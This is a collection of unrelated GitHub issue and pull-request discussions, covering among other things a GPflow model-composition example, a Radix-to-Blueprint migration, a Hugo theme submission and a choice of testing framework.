Removed: My_Profile_Confirm_Or_Pending-Confirm_Twitter (view original)
Removed: My_Profile_Confirm_Or_Pending-Confirm_Github (view original)

Looks like the proof overlay images need a white background fill so the platform icon doesn't show through.

:+1:

Yeah there's a comment about needing to swap the assets
On Monday, July 18, 2016, Max Goodman<EMAIL_ADDRESS>wrote:

Looks like the proof overlay images need a white background fill so the
platform icon doesn't show through.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/keybase/client/pull/3515#issuecomment-233487275, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAfhU43OhrNDDgfKSoHuDTsBzJZDpKeXks5qXAlJgaJpZM4JPLKN
.


image size is too big

When running a lighthouse, it shows that Optimized images load faster and consume less cellular data.

fixed
Changed the images size by compressing the images.


[Roadmap] Testing framework/methodology

Need to decide on a couple things relating to the testing of the project.
A lack of testing in previous versions of the launcher bugs me, so making sure it's covered from the word go is important.
First we need to decide the JS testing framework to use such as:

Intern
Jasmine
Mocha
Vows

Also will use some standard test helpers/extensions:

Chai
Rewire
Sinon

We also need to decide on methodologies, patterns and just general preferences to use when testing.
Nightmare seems like a possible solution to testing the application also.

Based on work from the initial-code branch we'll be using Mocha with Chai and Sinon for unit testing and spectron for E2E testing which uses Chromium to do testing


Switch from radix to blueprint

closes : https://github.com/zakodium-oss/react-science/issues/469
For the RadioGroup component, I created the same we have with BluePrintJs
Either we update ours and make it use BluePrintJs instead of radix or just remove the component because it can be done using BluePrintJs
Technically I prefer we update ours because recreating it with BluePrintJs is not simple.
https://switch-from-radix-to-bluepri.react-science.pages.dev/stories/?path=/story/forms-radio--control-button
https://switch-from-radix-to-bluepri.react-science.pages.dev/stories/?path=/story/components-infopanel--basic

@stropitek this PR is ready

The hovered style of radio buttons is missing (vs. on the main branch)

Do your commit messages include all the breaking changes or will you provide a commit message with all the breaking changes in the PR thread?

They Include all breaking changes

The height should be 30px / 40px including the borders. It should be the same size next to a text input.

Should border-radius also be the same?

Should border-radius also be the same?

No does not have to be

The content does not look centered now (it's too low), and there is a double border on the selected item.

ping @wadjih-bencheikh18
Will you be able to finish this?

@wadjih-bencheikh18 I am taking this over.

Commit message
refactor: switch from radix to blueprint

BREAKING CHANGE: The `RadioGroup` component has been renamed to `RadioButtonGroup`. Its interface is now the same as blueprintjs's `RadioGroup` component, which changes how multiple of its props are named and typed.

Shouldn't this uninstall the radix dependency?

Yes they are no longer used, I removed them.


Document libreswan as the default driver

Closes: https://github.com/submariner-io/submariner-website/issues/376
Signed-off-by: nyechiel<EMAIL_ADDRESS>

Don't merge before https://github.com/submariner-io/submariner/pull/972 is merged

LGTM, but the switch-over of the default is still WIP.
submariner-io/submariner-operator#904

Although the WIP parts only touch the tests; as things stand now, users will get Libreswan-by-default whenever the next release happens (but the docs shouldn’t be updated until then).


[libwandio] Add new port

libwandio-- C library for simple and efficient file IO.
This port currently only supports Linux and Mac platforms.
It is one of libtrace dependents, which is needed by libprotoident.
Related issue #7900
No feature need to test.

/azp run

/azp run

Please modify scripts/ci.baseline.txt to account for the Windows failures.

/azp run

/azp run


Model Composition

Are there any design principles in place for model composition? A "basic" example could be defining two sparse Gaussian GPs and then adding a joint likelihood of some kind. I'm guessing it would be perfectly doable by just building it from the ground up in a new Model subclass, but that seems like poor code design when you already have code for e.g. the GPs, as is the case here.
Could we just define a top-level model and build its likelihood as the sum of the likelihoods of the submodels? There seems to be an issue with tf_mode from my meager experiments where we need the submodel likelihoods to be added to the "master" model's graph.
Ideally, we could borrow from the compositionality ideas and syntax in Edward (http://edwardlib.org/api/model-compositionality), but that might require a pretty heavy-handed restructuring.

Hi @Bonnevie
Lots of bits of the sparse GP are composable. The basic recipe for a variational sparse GP is

define kernel, likelihood
define variational parameters
compute q(f) GPflow.conditionals.conditional
compute E_{q(f)} [ log p(y|f)], GPflow.likelihoods.Likelihood.variationalExpectations
compute KL divergence , GPflow.kullback_leiblers.

You can adapt that easily to have two GPs.

Ideally...
I disagree that this is ideal! I much prefer to define the parameters, write down the likelihood. And a core STAN developer once hinted that he might have preferred stan work that way too, but I digress.

As for composing models, I think it should be possible to add a model as a sub-structure in another model, but the 'top level' build_likelihood function would have to contain calls to the build_likelihood functions beneath.

in edward you can define the parameters, then write down the likelihood. we don't represent a model per say as anything beyond a collection of random variables. this means you can infer a random variable that is used in multiple models, or plug in an inferred posterior into another model as components of model -> inference -> criticism -> ... are chained together.
i think the key advantage of compositionality is in inference, where you can perform conditional inference over a substructure of a model (e.g., variational inference for a sparse GP component) while doing something else (e.g., black box methods) for the joint likelihood piece.
it would be nice to take advantage of gpflow's algorithms as gps are scaffolded within larger models.

@jameshensman - don't get me wrong, I'm a huge fan of the GPflow code base (it's basically a master-class in object-oriented machine learning code and you've managed to exploit the advantages of TensorFlow without sacrificing the interface of GPy), but from your description it sounds like every new GP-based model architecture has to be coded from the bottom up, with a certain amount of copy-pasting from source involved.
Would calling build_likelihood() of a submodel inside a higher-level model work out of the box? What does it take to have calls to tf_mode() and make_tf_array() in the top-level model propagate down? Since  Model subclasses Parameterized, any new Model object added as an attribute should be appended to sorted_params automatically, which both tf_mode() and make_tf_array() loops over, right? Are there any other immediate pitfalls?
(side comment: Even if you don't agree with Edward's way of structuring probabilistic models, I think there are many of us that would love if the two packages integrated in some way or another. GPs are certainly a special enough type of model to warrant their own self-contained package, but there are also a lot of occasions where they work very well in conjunction with classic parametric probabilistic models. But it might be a bit of a pipe dream, I'm still not a 100% clear on how similar the GPflow is to Edward or other probabilistic packages under the hood)

@Bonnevie thanks for your interest in our work.
I think Edward is good interesting work from our colleagues at Columbia but it isn't the only show in town. For instance I think that Stan is great software including the pioneering Stan Math library.
You've hit the nail on the head- GPs are special in a number of ways. This means that in GP inference some things are easier and some things are harder than other models. I would argue they are also important models. Consequently there is a thriving community of people working on them specifically and a number of good specialist GP software packages available such at GPML, GPy, GPStuff (apologies to any of the packages I have missed).
To me the issue here is not compatability with any single TF package, it is the ability to get at the underlying TensorFlow workings of GPflow. For instance it would also be nice to integrate it with neural network models either in native TF, Keras, or another such package. This more general compatability is on our to do list.
I think it is very unlikely you will see an integration with Edward or any similar project for the reasons we've discussed above and due to the fact that we're really happy with the GPflow project structure and team as it is.

Thanks for all the great discussion.
To address some specific questions:

certain amount of copy-pasting from source involved

Hmm, I wasn't trying to advocate for copy-paste, but for reusing the functions that we've split out, like GPflow.conditionals.conditional.

Would calling build_likelihood() of a submodel inside a higher-level model work out of the box?

I suspect so, and I think we'd be happy to accept changes to make it so if not, so long as they aren't too intrusive.

could another model be added as a prior to a parameter?

That sounds like an interesting feature, and I guess that's what @dustinvtran is getting at. I don't have plans to make it so, but I'd be really interested to hear a specific (GP-related) use case.

As suspected, creating a model that contains models seems to work without any modifcation:
import GPflow
from functools import reduce

X1, Y1, X2, Y2 = my_data_loading_function()
m1 = GPflow.gpr.GPR(X1, Y1, GPflow.kernels.Matern32(1))
m2 = GPflow.gpr.GPR(X2, Y2, GPflow.kernels.Matern32(1))

class ProductModel(GPflow.model.Model):
    def __init__(self, models):
        GPflow.model.Model.__init__(self)
        self.models = GPflow.param.ParamList(models)

    def build_likelihood(self):
        return reduce(tf.add, (m.build_likelihood() for m in self.models))

m = ProductModel([m1, m2])
m.optimize()  # works as expected
print(m)  # works as expected

Ah, thanks for trying it out @jameshensman, was trying a similar example but messed up by using tf.scan in place of reduce in a misguided attempt to be idiomatic (the function apparently doesn't play well with normal lists).

@Bonnevie , could I have a quick look at your non-working example, to see if there's anything GPflow side that might need work in order to use scan? Thanks.

@jameshensman, thanks, but it was just an issue with the standard list object - scan is designed to loop over tensors only, not common iterators, which the debug message didn't do a great job at emphasizing.
By the way, just to motivate my quest for compositionality, what I'm working on is similar to your chained Gaussian process methodology which is a pretty general setup for combining N latent GPs under one likelihood. What would be the idiomatic way to develop that in GPflow in your opinion? Using a variation on the above ProductModel class with a more extensive build_likelihood? Does the Likelihood class readily extend to multi-GP likelihoods?

Calling @alansaul
@Bonnevie , it should be easy enough to recreate the chained GP paper in GPflow. In fact, I've had this in mind for a while, and the way that kullback-leiblers and conditionals is split out should make this easy enough.
As you've recognised, the main bit of new code will be in the likelihood. I think the tidiest way to do this will be to make a new likelihood base class (MultiLikelihood, say) which echoes the Likelihood base class, but expects multiple latent functions -- perhaps concatenated, perhaps in a list.
You'll note that the chained GP requires a two-dimensional quadrature. @markvdw has already implemented this in the ekernels file, I would suggest splitting it out to make it reusable.
In the likelihoods class, the base class allows us to do quadrature, and inheriting classes, which implement specific likelihoods, can override this if the expressions turn out to be tractable. This pattern also appears in ekernels. I strongly suggest using it again.
I wonder if there's enough interest in this model to include it in GPflow... would you be interested in contributing, @Bonnevie ? @alexggmatthews , @markvdw , what do you think?

@jameshensman Sure, I'd love to contribute!
If you want to integrate it into GPflow in a way that observes the code design, would something as simple as the ProductModel class be the appropriate container for several latent GPs? Or do you require additional functionality?
Actually, I see an issue with the above suggestion since all Models seem to assume an existing likelihood. I.e. there is no object for a GP prior.
A more hypothetical scenario (but one relevant to me) is a chained GP with a mix of fully latent GPs (the standard setup) and latent GPs with an auxiliary likelihood and auxiliary observations, the consequence of which is that you have a mix of latent GPs with and without observations before even taking the chained likelihood into account.

Re: Multilikelihood. Yeah I would like to have this in GPflow. I already have some code that does this, but it would be worth rethinking it into making it neat.

Something like the productmodel example could work as a base class, yes. It would be nice to have mcmc and VB versions, like the other models in GPflow do.
As for your hypothetical scenario, I suggest doing this through a highly specialized likelihood. You can do something like this in GPs that do not have multiple latents(1) using the SwitchedLikelihood class, which lets you assign different likelihoods to different data. I think a similar thing could work for the chainedGP case: you could indicate to the likelihood that some observations are only dependent on one of the latent classes (with e.g. very small Gaussian noise).
This way, all GPflow users get the benefits of a chainedGP, and you only have to write a small amount of code that specializes it to your problem.
(1) more precisely, all GPflow models can currently have multiple latents, but they have to share kernels (and inducing points). This is how we deal with multiple columns of Y, and is something we inherited from as far back as Neil Lawrence's matlab toolbox, and I think is a good pattern.

Hi everyone,
I think it would be good to include Multilikelihood in GPflow with the usual caveats that it needs to long be neat and not have an adverse effect on the rest of the code. We probably would want to include the base ability to do Multilikelihood and a couple of the most important examples but not a multitude of special cases. The special cases would in imho be better left to users to do for their own projects.
@jameshensman it is worth noting that the MultiClass classification likelihood is already a case of this albeit with an analytic trick for reducing the quadrature down to 1D.
My understanding from the analysis in the chained GP paper is that without analytic tricks the dimensionality of the quadrature can be pushed to three or four dimensions but not much further. Is this about right? If so I suggest we have warnings to this effect just as we do in ekernels.
I would also be very interested to know what @alansaul thinks given his experience with the chained GP paper.

Hey everyone,
I'm not super familiar with the GPflow codebase (though I intend to be in the near future, looks like a great package), but in the GPy implementation we used a specialised likelihood that takes multiple latent functions as James suggested.
In terms of quadrature, I have only used 2d Gauss-quadrature that appears to work well; I would say that with more latent functions it is likely that Monte Carlo sampling may be the way to go to approximately evaluate the variationalExpectations and its gradients. I assume that implementing sample based gradients for variationalExpectations in TF would be relatively simple, is this already implemented for any other models?
One of the problems with the chainedGP is that it can be a little difficult to optimise, as a moderate number of inducing inputs requires many variational parameters to be learnt, I find fixing kernel parameters and inducing points at the beginning of the optimisation helps here.
I'd be interested to see a non-sparse version using a composition of VGP models, which I assume if a multi-likelihood is introduced, would be trivial, and require far less variational parameters (obviously only for smaller data though).


New Theme: Saito Boilerplate

Hi,
Here I created new boilerplate theme.
Please let me know whether there is anything should be fixed.
https://github.com/hakuoku/hugo-saito-boilerplate
Thank you,

Hi @hakuoku thank you for your theme submission!
I tested your theme's example site both with the script that generates the Themes site and on its own.
Unfortunately I got the following console error:
ERROR 2018/07/24 14:41:13 Failed to add template "partials/css.html" in path "partials/css.html": template: partials/css.html:2: malformed character constant: '/css/style.css'

To fix this error you need to change line 2 of your css.html partial to the following:
<link rel="stylesheet" href="{{ "/css/style.css" | absURL }}">
Please do this and I will mark your theme as ready to be added to the Hugo Themes site.
Thanks!

@hakuoku any updates here?

@onedrawingperday @digitalcraftsman
Here is an update! Thank you for your suggestion and sorry for such delay.
https://github.com/hakuoku/hugo-saito-boilerplate

Hello @hakuoku,
The build script for the Hugo theme site generates a demo for each theme. For saito this fails right now because Hugo is looks for a theme folder called "saito". However, your theme folder will be added as "hugo-saito-boilerplate" (the name of your repository). Hence Hugo is unable to find the correct theme to generate the demo. Please set the correct folder / theme name in the example config.toml.

Hi @digitalcraftsman ,
Thank you for pointing out the problem. I fixed it up.
https://github.com/hakuoku/saito-boilerplate

Within templates please wrap strings in double quotes. Otherwise Hugo fails to parse the path to the stylesheet linked in the css.html partial.

@digitalcraftsman I updated!
https://github.com/hakuoku/saito-boilerplate

Your theme should appear soon on Hugo's theme site. Next, I'll promote your theme on Hugo's official Twitter account.


Process Dispatcher bridge service

Added an implementation of PD that either 1) spawns processes in the local container or 2) spawns processes with the external CEI Process Dispatcher, depending on whether it is started via CEI launch plan. Further explanation is in code comments.
This is my first foray into Pyon service development, so I would appreciate a quick code review. Note that this branch needs to be merged at the same time as ooici/ion-definitions#93. Once approved I wil perform both merges.

looks good to me. thanks. please merge once tests pass. I've already merged the ion-definitions
It would be nice to add a link to the repo where the code for the PD implementation is


User testing of milestone report wireframes

Describe the task
Take wireframe out to ops team for testing, review and input.
Acceptance Criteria

[x] identify users from ops team to test wireframe
[x] schedule testing session(s)
[x] conduct session(s)
[ ] document feedback
[ ] review feedback with dev team and prioritize feedback for development
[ ] update wireframes based on feedback and priorities
[ ] upload/attach wireframe to respective user stories (create user stories if required)

Additional context

Note: depending on volume of feedback, updating wireframe could be pulled into its own ticket.

same as #455 (compiling feedback) which we will tackle next sprint. Closing this.